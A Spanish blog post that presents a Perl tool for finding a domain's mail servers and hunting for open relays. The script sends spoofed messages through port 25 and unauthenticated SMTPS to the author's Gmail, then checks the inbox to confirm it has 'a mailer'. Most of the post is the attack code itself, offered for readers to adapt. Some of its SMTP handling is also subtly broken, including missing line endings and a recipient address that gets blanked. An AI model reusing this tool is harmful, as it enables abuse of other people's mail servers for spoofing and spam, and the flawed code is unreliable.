Mail Inyector

Posted on 18:24 by Xianur0

Programe esta tool para filtrarse en los servidores de correo, esta tool puede detectar los servidores de correo de un dominio dado, intentar logearse en SMTP y en POP3 SSL, enviar un mail, y revisar si dicho mensaje llega a la bandeja de entrada:


#!/usr/bin/perl

# By Xianur0\n
use LWP::UserAgent;
use MIME::Base64::Perl;
use XML::Simple;
use Socket;
use Net::DNS;
use Net::SMTP::SSL;
use Mail::POP3Client;
use IO::Socket::SSL;

my $user = $ARGV[0];
my $password = $ARGV[1];
my $web = $ARGV[2];
my $servidor;
$web = shift || &uso;

sub uso {
print "[-]Uso: mailer.pl [Usuario Gmail] [Password Gmail] [Web]\n"; exit;
}

sub gmail {
my $cuenta = encode_base64("$user:$password");
my $ua = LWP::UserAgent->new;
my $req = HTTP::Request->new(GET => 'https://mail.google.com/mail/feed/atom');
$req->content_type('application/x-www-form-urlencoded');
$req->header('Authorization' => 'Basic '.$cuenta);
my $res = $ua->request($req);
if ($res->is_success) {
open(XMLFILE,"> gmail.xml") || die "No pudo abrirse: $!";
print XMLFILE $res->content;
close(XMLFILE);
&xmlleer;
}
}

sub xmlleer {
my $gmail = XMLin("gmail.xml");
for($gmail->{entry}) {
if($_->{title} =~ 'servidor de correo bypasseado :D') {
print "\n[-]Felicidades! Tienes un mailer :D!...\n";
}
else { print "[-]El Mensaje no ha llegado a la bandeja de entrada....\n";}
}
}

sub enviar {
socket(SOCKET,PF_INET,SOCK_STREAM,(getprotobyname('tcp'))[2]);
if(connect( SOCKET, pack( 'Sn4x8', AF_INET, 25, $servidor ))) {
print "[-]Conectado a $servidor, Enviando Paquete....\n";
print SOCKET "HELO $web";
print SOCKET 'MAIL FROM: xianur0.hacked@level-23.com';
print SOCKET "RCPT TO: ".$user.'@gmail.com';
print SOCKET 'DATA';
print SOCKET 'Subject: servidor de correo bypasseado :D';
print SOCKET 'From: xianur0.hacked@level-23.com';
print SOCKET "To: $user";
print SOCKET "Servidor de Correo Bypasseado\ndominio: $web\n.";
print SOCKET 'quit';
close SOCKET;
print "[-]Paquete Enviado!\n";
&gmail;
}
else {print "[-]Servidor $servidor Puerto 25 filtrado...\n"; }

}

sub MX {
my $consulta = Net::DNS::Resolver->new;
my $consulta = $consulta->query($web, "MX");
if ($consulta) {
print "[-]Servidores MX:\n";
foreach $array (grep { $_->type eq 'MX' } $consulta->answer) {
$mailers = $array->string;
my @datos = split(" ", $mailers);
$servidor = pop(@datos);
chop($servidor);
print $servidor."\n";
&enviar;
&smtps;
}
} else {print "[-]No Se Encontro Servidor de Correo Asociado!\n";}
print "\n\n";
}

sub smtps {
my $user = '';
my $pass = '';
my $to = $user.'@gmail.com';
my $from_email = 'xianur0.hacked@level-23.com';
my $subject = 'servidor de correo bypasseado :D';
my $smtps = Net::SMTP::SSL->new($servidor,
Port => 465,
DEBUG => 1,
) or die "Servidor $servidor Puerto 465 Filtrado...\n";
defined ($smtps->auth($user, $pass))
or die "[-]Servidor $servidor Puerto 465 Con Password...\n";
print "\n[-]Servidor SMTPS Sin Password Detectado: $servidor\n";
$smtps->mail($from_email);
$smtps->to($to);
$smtps->data();
$smtps->datasend("To: $to\n");
$smtps->datasend(qq^From: "$from_email\n^);
$smtps->datasend("Subject: $subject\n\n");
$smtps->datasend("Servidor de Correo Bypasseado\nServidor: $servidor\n");
$smtps->dataend();
$smtps->quit();
print "[-]Mensaje Enviado!\n";
select(undef, undef, undef, 10);
&gmail;
}

&MX;

A mis necesidades le programe que revisara si el mail llego a la bandeja de entrada, pero pueden editar el codigo para lo que mas les convenga.

0 comentarios: